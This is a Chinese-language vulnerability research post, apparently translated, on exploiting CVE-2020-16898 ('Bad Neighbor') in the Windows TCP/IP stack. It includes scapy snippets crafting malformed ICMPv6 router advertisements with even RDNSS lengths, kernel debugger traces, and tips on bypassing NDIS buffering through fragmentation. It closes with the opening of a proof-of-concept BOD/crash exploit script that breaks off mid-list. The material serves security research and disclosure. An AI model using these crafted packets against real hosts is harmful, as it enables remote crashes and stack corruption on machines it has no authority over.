CVE-2020-16898“Bad Neighbor”漏洞分析与利用

本文详细分析了CVE-2020-16898 Windows TCP/IP远程代码执行漏洞的技术细节。通过逆向工程和动态调试,揭示了ICMPv6 RDNSS选项处理中的边界验证缺陷,并提供了绕过NDIS缓冲区优化和实现栈溢出的完整PoC代码。

CVE-2020-16898 – “Bad Neighbor”漏洞利用

引言

在2020年10月的补丁星期二(10月13日),微软修复了一个非常有趣(且引人注目)的漏洞:CVE-2020-16898 – Windows TCP/IP 远程代码执行漏洞。微软对该漏洞的描述如下:

“当Windows TCP/IP堆栈不正确处理ICMPv6路由器通告数据包时,存在远程代码执行漏洞。成功利用此漏洞的攻击者将能够在目标服务器或客户端上执行代码。要利用此漏洞,攻击者必须向远程Windows计算机发送特制的ICMPv6路由器通告数据包。该更新通过纠正Windows TCP/IP堆栈处理ICMPv6路由器通告数据包的方式来解决此漏洞。”

这个漏洞非常重要,我决定为其编写概念验证(Proof-of-Concept)代码。在我工作期间,还没有任何公开的利用代码。我花了大量时间分析触发该漏洞所需的所有注意事项。即使现在,可用信息仍未提供触发该漏洞的足够细节。这就是我决定总结我的经验的原因。

首先,简短总结:

  • 该漏洞仅当源地址是IPv6链路本地地址时才能被利用。此要求限制了潜在目标!
  • 整个负载必须是有效的IPv6数据包。如果头部设置错误过多,数据包将在触发漏洞之前被拒绝
  • 在验证数据包大小的过程中,所有可选头部中定义的“长度”必须与数据包大小匹配
  • 此漏洞允许 smuggling 一个额外的“头部”。该头部未经验证,并包含“长度”字段。触发漏洞后,该字段仍将根据数据包大小进行检查
  • 可能触发该漏洞的Windows NDIS API有一个非常烦人的优化(从利用的角度来看)。要绕过它,需要使用分片!否则,可以触发漏洞,但不会导致内存破坏

收集漏洞信息

首先,我想了解更多关于该漏洞的信息。我能找到的唯一额外信息是检测逻辑提供的分析报告。这是一个相当有趣的命运转折,关于如何防范攻击的信息对漏洞利用有所帮助。

分析报告:

最关键的是以下信息: “虽然我们忽略所有不是RDNSS的选项,但对于选项类型=25(RDNSS),我们检查选项中的长度(第二个字节)是否为偶数。如果是,我们标记它。如果不是,我们继续。由于长度以8字节为单位计数,我们将长度乘以8,并跳过该字节数以到达下一个选项的开始(减去1以考虑我们已经消耗的长度字节)。”

好的,我们从中了解到了什么?相当多:

  • 我们需要发送RDNSS数据包
  • 问题在于长度字段中的偶数
  • 负责解析数据包的函数将把RDNSS负载的最后8字节引用为下一个头部

这足以开始探索。首先,我们需要生成一个有效的RDNSS数据包。

RDNSS

递归DNS服务器选项(RDNSS)是路由器通告(RA)消息的子选项之一。RA可以通过ICMPv6发送。让我们查看RDNSS的文档(https://tools.ietf.org/html/rfc5006):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
5.1. 递归DNS服务器选项
RDNSS选项包含一个或多个递归DNS服务器的IPv6地址。所有地址共享相同的生存期值。如果需要不同的生存期值,可以使用多个RDNSS选项。图1显示了RDNSS选项的格式。

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Length    |           Reserved            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           Lifetime                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
:            Addresses of IPv6 Recursive DNS Servers            :
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

长度字段的描述:

1
Length        8位无符号整数。选项的长度(包括类型和长度字段)以8字节为单位。如果选项中包含一个IPv6地址,则最小值为3。每增加一个RDNSS地址,长度增加2。接收方使用长度字段确定选项中的IPv6地址数量。

这本质上意味着只要有任何负载,长度必须始终是奇数。好的,让我们创建一个RDNSS数据包。怎么做?我使用scapy,因为它是创建我们想要的任何数据包的最简单、最快的方法。非常简单:

1
2
3
4
5
6
7
8
9
v6_dst = <目标地址>
v6_src = <源地址>

c = ICMPv6NDOptRDNSS()
c.len = 7
c.dns = [ "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

pkt = IPv6(dst=v6_dst, src=v6_src, hlim=255) / ICMPv6ND_RA() / c
send(pkt)

当我们设置内核调试器并分析tcpip.sys驱动程序中的所有公共符号时,可以找到有趣的函数名:

  • tcpip!Ipv6pHandleRouterAdvertisement
  • tcpip!Ipv6pUpdateRDNSS

让我们尝试在那里设置断点,看看我们的数据包是否到达:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0: kd> bp tcpip!Ipv6pUpdateRDNSS
0: kd> bp tcpip!Ipv6pHandleRouterAdvertisement
0: kd> g
Breakpoint 0 hit
tcpip!Ipv6pHandleRouterAdvertisement:
fffff804`483ba398 48895c2408      mov     qword ptr [rsp+8],rbx
0: kd> kpn
 # Child-SP          RetAddr           Call Site
00 fffff804`48a66ad8 fffff804`483c04e0 tcpip!Ipv6pHandleRouterAdvertisement
01 fffff804`48a66ae0 fffff804`4839487a tcpip!Icmpv6ReceiveDatagrams+0x340
02 fffff804`48a66cb0 fffff804`483cb998 tcpip!IppProcessDeliverList+0x30a
03 fffff804`48a66da0 fffff804`483906df tcpip!IppReceiveHeaderBatch+0x228
04 fffff804`48a66ea0 fffff804`4839037c tcpip!IppFlcReceivePacketsCore+0x34f
05 fffff804`48a66fb0 fffff804`483b24ce tcpip!IpFlcReceivePackets+0xc
06 fffff804`48a66fe0 fffff804`483b19a2 tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x25e
07 fffff804`48a670d0 fffff804`45a4f698 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xd2
08 fffff804`48a67200 fffff804`45a4f60d nt!KeExpandKernelStackAndCalloutInternal+0x78
09 fffff804`48a67270 fffff804`483a1741 nt!KeExpandKernelStackAndCalloutEx+0x1d
0a fffff804`48a672b0 fffff804`4820b530 tcpip!FlReceiveNetBufferListChain+0x311
0b fffff804`48a67550 ffffcb82`f9dfb370 0xfffff804`4820b530
0c fffff804`48a67558 fffff804`48a676b0 0xffffcb82`f9dfb370
0d fffff804`48a67560 00000000`00000000 0xfffff804`48a676b0
0: kd> g
...

嗯…好的。我们从未命中Ipv6pUpdateRDNSS,但确实命中了Ipv6pHandleRouterAdvertisement。这意味着我们的数据包是正常的。为什么我们没有进入Ipv6pUpdateRDNSS?

问题1 – IPv6链路本地地址

我们在这里的地址验证失败:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
fffff804`483ba4b4 458a02          mov     r8b,byte ptr [r10]
fffff804`483ba4b7 8d5101          lea     edx,[rcx+1]
fffff804`483ba4ba 8d5902          lea     ebx,[rcx+2]
fffff804`483ba4bd 41b7c0          mov     r15b,0C0h
fffff804`483ba4c0 4180f8ff        cmp     r8b,0FFh
fffff804`483ba4c4 0f84a8820b00    je      tcpip!Ipv6pHandleRouterAdvertisement+0xb83da (fffff804`48472772)
fffff804`483ba4ca 33c0            xor     eax,eax
fffff804`483ba4cc 498bca          mov     rcx,r10
fffff804`483ba4cf 48898570010000  mov     qword ptr [rbp+170h],rax
fffff804`483ba4d6 48898578010000  mov     qword ptr [rbp+178h],rax
fffff804`483ba4dd 4484d2          test    dl,r10b
fffff804`483ba4e0 0f8599820b00    jne     tcpip!Ipv6pHandleRouterAdvertisement+0xb83e7 (fffff804`4847277f)
fffff804`483ba4e6 4180f8fe        cmp     r8b,0FEh
fffff804`483ba4ea 0f85ab820b00    jne     tcpip!Ipv6pHandleRouterAdvertisement+0xb8403 (fffff804`4847279b) [br=0]

r10指向地址的开头:

1
2
3
4
5
6
7
8
9
0: kd> dq @r10
ffffcb82`f9a5b03a  000052b0`80db12fd e5f5087c`645d7b5d
ffffcb82`f9a5b04a  000052b0`80db12fd b7220a02`ea3b3a4d
ffffcb82`f9a5b05a  08070800`e56c0086 00000000`00000000
ffffcb82`f9a5b06a  ffffffff`00000719 aaaaaaaa`aaaaaaaa
ffffcb82`f9a5b07a  aaaaaaaa`aaaaaaaa aaaaaaaa`aaaaaaaa
ffffcb82`f9a5b08a  aaaaaaaa`aaaaaaaa aaaaaaaa`aaaaaaaa
ffffcb82`f9a5b09a  aaaaaaaa`aaaaaaaa 63733a6e`12990c28
ffffcb82`f9a5b0aa  70752d73`616d6568 643a6772`6f2d706e

这些字节:

1
ffffcb82`f9a5b03a  000052b0`80db12fd e5f5087c`645d7b5d

匹配我用作源地址的IPv6地址:

1
v6_src = "fd12:db80:b052:0:5d7b:5d64:7c08:f5e5"

它与字节0xFE进行比较。通过查看这里我们可以了解到:

  • fe80::/10 — 链路本地前缀中的地址仅在单个链路上有效且唯一(类似于IPv4的自动配置地址169.254.0.0/16)。

好的,所以它在寻找链路本地前缀。另一个有趣的检查是当我们失败前一个时:

1
2
3
4
5
fffff804`4847279b e8f497f8ff      call    tcpip!IN6_IS_ADDR_LOOPBACK (fffff804`483fbf94)
fffff804`484727a0 84c0            test    al,al
fffff804`484727a2 0f85567df4ff    jne     tcpip!Ipv6pHandleRouterAdvertisement+0x166 (fffff804`483ba4fe)
fffff804`484727a8 4180f8fe        cmp     r8b,0FEh
fffff804`484727ac 7515            jne     tcpip!Ipv6pHandleRouterAdvertisement+0xb842b (fffff804`484727c3)

它检查我们是否来自环回地址,然后我们再次验证是否为链路本地。我修改了数据包以使用链路本地地址,然后…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
Breakpoint 1 hit
tcpip!Ipv6pUpdateRDNSS:
fffff804`4852a534 4055            push    rbp
0: kd> kpn
 # Child-SP          RetAddr           Call Site
00 fffff804`48a66728 fffff804`48472cbf tcpip!Ipv6pUpdateRDNSS
01 fffff804`48a66730 fffff804`483c04e0 tcpip!Ipv6pHandleRouterAdvertisement+0xb8927
02 fffff804`48a66ae0 fffff804`4839487a tcpip!Icmpv6ReceiveDatagrams+0x340
03 fffff804`48a66cb0 fffff804`483cb998 tcpip!IppProcessDeliverList+0x30a
04 fffff804`48a66da0 fffff804`483906df tcpip!IppReceiveHeaderBatch+0x228
05 fffff804`48a66ea0 fffff804`4839037c tcpip!IppFlcReceivePacketsCore+0x34f
06 fffff804`48a66fb0 fffff804`483b24ce tcpip!IpFlcReceivePackets+0xc
07 fffff804`48a66fe0 fffff804`483b19a2 tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x25e
08 fffff804`48a670d0 fffff804`45a4f698 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xd2
09 fffff804`48a67200 fffff804`45a4f60d nt!KeExpandKernelStackAndCalloutInternal+0x78
0a fffff804`48a67270 fffff804`483a1741 nt!KeExpandKernelStackAndCalloutEx+0x1d
0b fffff804`48a672b0 fffff804`4820b530 tcpip!FlReceiveNetBufferListChain+0x311
0c fffff804`48a67550 ffffcb82`f9dfb370 0xfffff804`4820b530
0d fffff804`48a67558 fffff804`48a676b0 0xffffcb82`f9dfb370
0e fffff804`48a67560 00000000`00000000 0xfffff804`48a676b0

成功了!好的,让我们进入触发漏洞阶段。

触发漏洞

我们从检测逻辑分析报告中了解到: “我们检查选项中的长度(第二个字节)是否为偶数”

让我们测试一下:

1
2
3
4
5
6
7
8
9
v6_dst = <目标地址>
v6_src = <源地址>

c = ICMPv6NDOptRDNSS()
c.len = 6
c.dns = [ "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

pkt = IPv6(dst=v6_dst, src=v6_src, hlim=255) / ICMPv6ND_RA() / c
send(pkt)

我们最终执行了以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
fffff804`4852a5b3 4c8b15be8b0700  mov     r10,qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff804`485a3178)]
fffff804`4852a5ba e8113bceff      call    fffff804`4820e0d0
fffff804`4852a5bf 418bd7          mov     edx,r15d
fffff804`4852a5c2 498bce          mov     rcx,r14
fffff804`4852a5c5 488bd8          mov     rbx,rax
fffff804`4852a5c8 e8a39de5ff      call    tcpip!NetioAdvanceNetBuffer (fffff804`48384370)
fffff804`4852a5cd 0fb64301        movzx   eax,byte ptr [rbx+1]
fffff804`4852a5d1 8d4e01          lea     ecx,[rsi+1]
fffff804`4852a5d4 2bc6            sub     eax,esi
fffff804`4852a5d6 4183cfff        or      r15d,0FFFFFFFFh
fffff804`4852a5da 99              cdq
fffff804`4852a5db f7f9            idiv    eax,ecx
fffff804`4852a5dd 8b5304          mov     edx,dword ptr [rbx+4]
fffff804`4852a5e0 8945b7          mov     dword ptr [rbp-49h],eax
fffff804`4852a5e3 8bf0            mov     esi,eax
fffff804`4852a5e5 413bd7          cmp     edx,r15d
fffff804`4852a5e8 7412            je      tcpip!Ipv6pUpdateRDNSS+0xc8 (fffff804`4852a5fc)

本质上,它从长度字段中减去1,然后将结果除以2。这遵循文档逻辑,可以总结为:

1
tmp = (Length - 1) / 2

这个逻辑对奇数和偶数产生相同的结果:

1
2
(8 – 1) / 2 => 3
(7 – 1) / 2 => 3

这本身没有问题。然而,这也"定义"了数据包的长度。由于IPv6地址是16字节长,通过提供偶数,负载的最后8字节将被用作下一个头部的开始。我们也可以在Wireshark中看到这一点:

这非常有趣。但是,如何处理这个?我们应该伪造什么下一个头部?为什么这很重要?嗯…我花了一些时间才弄清楚。老实说,我写了一个简单的模糊测试器来找出答案。

寻找正确的头部(问题2)

如果我们查看可用头部/选项的文档,我们真的不知道要使用哪一个(https://www.iana.org/assignments/icmpv6-parameters/icmpv6-parameters.xml):

我们知道的是ICMPv6消息具有以下一般格式:

1
2
3
4
5
6
7
8
       0                   1                   2                   3
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      |     Type      |     Code      |          Checksum             |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      |                                                               |
      +                         Message Body                          +
      |                                                               |

第一个字节编码数据包的"类型"。我进行了测试,并生成下一个头部与"有问题的"RDNSS完全相同。我命中了tcpip!Ipv6pUpdateRDNSS的断点,但tcpip!Ipv6pHandleRouterAdvertisement只命中了一次。我运行了我的IDA Pro并开始分析正在执行的逻辑。经过一些逆向工程后,我意识到代码中有2个循环:

  • 第一个循环遍历所有头部并进行一些基本验证(长度大小等)
  • 第二个循环不再进行任何验证,但解析数据包。

只要缓冲区中有更多’可选头部’,我们就在循环中。这是一个非常好的原语!无论如何,我仍然不知道应该使用什么头部,为了找出答案,我暴力尝试了所有在触发漏洞中可能的’可选头部’类型,并发现第二个循环只关心:

  • 类型3(前缀信息)
  • 类型24(路由信息)
  • 类型25(RDNSS)
  • 类型31(DNS搜索列表选项)

我分析了类型24的逻辑,因为它比类型3"更小/更短"。

栈溢出

好的。让我们尝试生成恶意的RDNSS数据包,“伪造"路由信息作为下一个:

1
2
3
4
5
6
7
8
9
v6_dst = <目标地址>
v6_src = <源地址>

c = ICMPv6NDOptRDNSS()
c.len = 6
c.dns = [ "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:03AA:AAAA:AAAA:AAAA" ]

pkt = IPv6(dst=v6_dst, src=v6_src, hlim=255) / ICMPv6ND_RA() / c
send(pkt)

这从未命中tcpip!Ipv6pUpdateRDNSS函数。

问题3 – 数据包大小

调试后,我意识到我们在以下检查中失败:

1
2
3
fffff804`483ba766 418b4618        mov     eax,dword ptr [r14+18h]
fffff804`483ba76a 413bc7          cmp     eax,r15d
fffff804`483ba76d 0f85d0810b00    jne     tcpip!Ipv6pHandleRouterAdvertisement+0xb85ab (fffff804`48472943)

其中eax是数据包的大小,r15保存了已消耗的数据量信息。在那种特定情况下,我们有:

1
2
rax = 0x48
r15 = 0x40

这正是8字节的差异,因为我们使用了偶数。为了绕过它,我在最后一个头部之后放置了另一个头部。然而,我仍然遇到同样的问题。我花了一些时间才弄清楚如何操作数据包布局来绕过它。我终于设法做到了。

问题4 – 又是大小问题!

最后,我找到了正确的数据包布局,我可以进入负责处理路由信息头部的代码。然而,我没有。原因如下。从RDNSS返回后,我最终到达这里:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
fffff804`48472cba e875780b00      call    tcpip!Ipv6pUpdateRDNSS (fffff804`4852a534)
fffff804`48472cbf 440fb77c2462    movzx   r15d,word ptr [rsp+62h]
fffff804`48472cc5 e9c980f4ff      jmp     tcpip!Ipv6pHandleRouterAdvertisement+0x9fb (fffff804`483bad93)
...
fffff804`483bad15 4c8b155c841e00  mov     r10,qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff804`485a3178)] ds:002b:fffff804`485a3178=fffff8044820e0d0
fffff804`483bad1c e8af33e5ff      call    fffff804`4820e0d0
...
fffff804`483bad15 4c8b155c841e00  mov     r10,qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff804`485a3178)]
fffff804`483bad1c e8af33e5ff      call    fffff804`4820e0d0
fffff804`483bad21 0fb64801        movzx   ecx,byte ptr [rax+1]
fffff804`483bad25 66c1e103        shl     cx,3
fffff804`483bad29 66894c2462      mov     word ptr [rsp+62h],cx
fffff804`483bad2e 6685c9          test    cx,cx
fffff804`483bad31 0f8485060000    je      tcpip!Ipv6pHandleRouterAdvertisement+0x1024 (fffff804`483bb3bc)
fffff804`483bad37 0fb7c9          movzx   ecx,cx
fffff804`483bad3a 413b4e18        cmp     ecx,dword ptr [r14+18h] ds:002b:ffffcb82`fcbed1c8=000000b8
fffff804`483bad3e 0f8778060000    ja      tcpip!Ipv6pHandleRouterAdvertisement+0x1024 (fffff804`483bb3bc)

ecx保存了关于"伪造头部"的"长度"信息。然而,[r14+18h]指向数据包中剩余数据的大小。我将长度设置为最大值(0xFF),乘以8(2040 == 0x7f8)。然而,只剩下"0xb8"字节。所以,我失败了另一个大小验证!

为了修复它,我减小了"伪造头部"的大小,同时向数据包附加了更多数据。这奏效了!

问题5 – NdisGetDataBuffer()和分片

我终于找到了所有能够触发漏洞的拼图。我原以为如此…我最终执行了以下负责处理路由信息消息的代码:

1
2
3
4
5
6
7
8
9
fffff804`48472cd9 33c0            xor     eax,eax
fffff804`48472cdb 44897c2420      mov     dword ptr [rsp+20h],r15d
fffff804`48472ce0 440fb77c2462    movzx   r15d,word ptr [rsp+62h]
fffff804`48472ce6 4c8d85b8010000  lea     r8,[rbp+1B8h]
fffff804`48472ced 418bd7          mov     edx,r15d
fffff804`48472cf0 488985b8010000  mov     qword ptr [rbp+1B8h],rax
fffff804`48472cf7 448bcf          mov     r9d,edi
fffff804`48472cfa 498bce          mov     rcx,r14
fffff804`48472cfd 4c8b1558041300  mov     r10,qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff804`485a3178)] ds:002b:fffff804`485a3178=fffff8044820e0d0

它尝试从数据包中获取"长度"字节来读取整个头部。然而,长度是伪造的且未经验证。在我的测试用例中,它的值为"0x100”。目标地址指向代表路由信息头部的栈。这是一个非常小的缓冲区。所以,我们应该有经典的栈溢出,但是在NdisGetDataBuffer函数内部,我最终执行了以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
fffff804`4820e10c 8b7910          mov     edi,dword ptr [rcx+10h]
fffff804`4820e10f 8b4328          mov     eax,dword ptr [rbx+28h]
fffff804`4820e112 8bf2            mov     esi,edx
fffff804`4820e114 488d0c3e        lea     rcx,[rsi+rdi]
fffff804`4820e118 483bc8          cmp     rcx,rax
fffff804`4820e11b 773e            ja      fffff804`4820e15b
fffff804`4820e11d f6430a05        test    byte ptr [rbx+0Ah],5 ds:002b:ffffcb83`086a4c7a=0c
fffff804`4820e121 0f84813f0400    je      fffff804`482520a8
fffff804`4820e127 488b4318        mov     rax,qword ptr [rbx+18h]
fffff804`4820e12b 4885c0          test    rax,rax
fffff804`4820e12e 742b            je      fffff804`4820e15b
fffff804`4820e130 8b4c2470        mov     ecx,dword ptr [rsp+70h]
fffff804`4820e134 8d55ff          lea     edx,[rbp-1]
fffff804`4820e137 4803c7          add     rax,rdi
fffff804`4820e13a 4823d0          and     rdx,rax
fffff804`4820e13d 483bd1          cmp     rdx,rcx
fffff804`4820e140 7519            jne     fffff804`4820e15b
fffff804`4820e142 488b5c2450      mov     rbx,qword ptr [rsp+50h]
fffff804`4820e147 488b6c2458      mov     rbp,qword ptr [rsp+58h]
fffff804`4820e14c 488b742460      mov     rsi,qword ptr [rsp+60h]
fffff804`4820e151 4883c430        add     rsp,30h
fffff804`4820e155 415f            pop     r15
fffff804`4820e157 415e            pop     r14
fffff804`4820e159 5f              pop     rdi
fffff804`4820e15a c3              ret
fffff804`4820e15b 4d85f6          test    r14,r14

在第一个’cmp’指令中,rcx寄存器保存请求的大小。Rax寄存器保存一些巨大的数字,因此我永远无法跳出该逻辑。作为该调用的结果,我得到了一个不同于本地栈地址的地址,并且没有发生溢出。我不知道发生了什么…所以我开始阅读这个函数的文档,以下是魔法:

“如果缓冲区中请求的数据是连续的,则返回值是指向NDIS提供的位置的指针。如果数据不连续,NDIS使用Storage参数如下:如果Storage参数非NULL,NDIS将数据复制到Storage处的缓冲区。返回值是传递给Storage参数的指针。如果Storage参数为NULL,则返回值为NULL。”

原来如此…我们的大数据包保存在NDIS中的某个地方,并返回指向该数据的指针,而不是将其复制到栈上的本地缓冲区。我开始搜索是否有人已经遇到这个问题,然后…当然有。查看这个链接: http://newsoft-tech.blogspot.com/2010/02/

我们可以了解到最简单的解决方案是分片数据包。这正是我所做的,然后…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000139
                       (0x0000000000000002,0xFFFFF80448A662E0,0xFFFFF80448A66238,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff804`45bca210 cc              int     3
0: kd> kpn
 # Child-SP          RetAddr           Call Site
00 fffff804`48a65818 fffff804`45ca9922 nt!DbgBreakPointWithStatus
01 fffff804`48a65820 fffff804`45ca9017 nt!KiBugCheckDebugBreak+0x12
02 fffff804`48a65880 fffff804`45bc24c7 nt!KeBugCheck2+0x947
03 fffff804`48a65f80 fffff804`45bd41e9 nt!KeBugCheckEx+0x107
04 fffff804`48a65fc0 fffff804`45bd4610 nt!KiBugCheckDispatch+0x69
05 fffff804`48a66100 fffff804`45bd29a3 nt!KiFastFailDispatch+0xd0
06 fffff804`48a662e0 fffff804`4844ac25 nt!KiRaiseSecurityCheckFailure+0x323
07 fffff804`48a66478 fffff804`483bb487 tcpip!_report_gsfailure+0x5
08 fffff804`48a66480 aaaaaaaa`aaaaaaaa tcpip!Ipv6pHandleRouterAdvertisement+0x10ef
09 fffff804`48a66830 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0a fffff804`48a66838 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0b fffff804`48a66840 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0c fffff804`48a66848 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0d fffff804`48a66850 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0e fffff804`48a66858 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
0f fffff804`48a66860 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
10 fffff804`48a66868 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
11 fffff804`48a66870 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
12 fffff804`48a66878 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
13 fffff804`48a66880 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
14 fffff804`48a66888 aaaaaaaa`aaaaaaaa 0xaaaaaaaa`aaaaaaaa
...

成功了!

概念验证

代码可以在这里找到: http://site.pi3.com.pl/exp/p_CVE-2020-16898.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
#

from scapy.all import *

v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"
v6_src = "fe80::24f5:a2ff:fe30:8890"

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA();

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计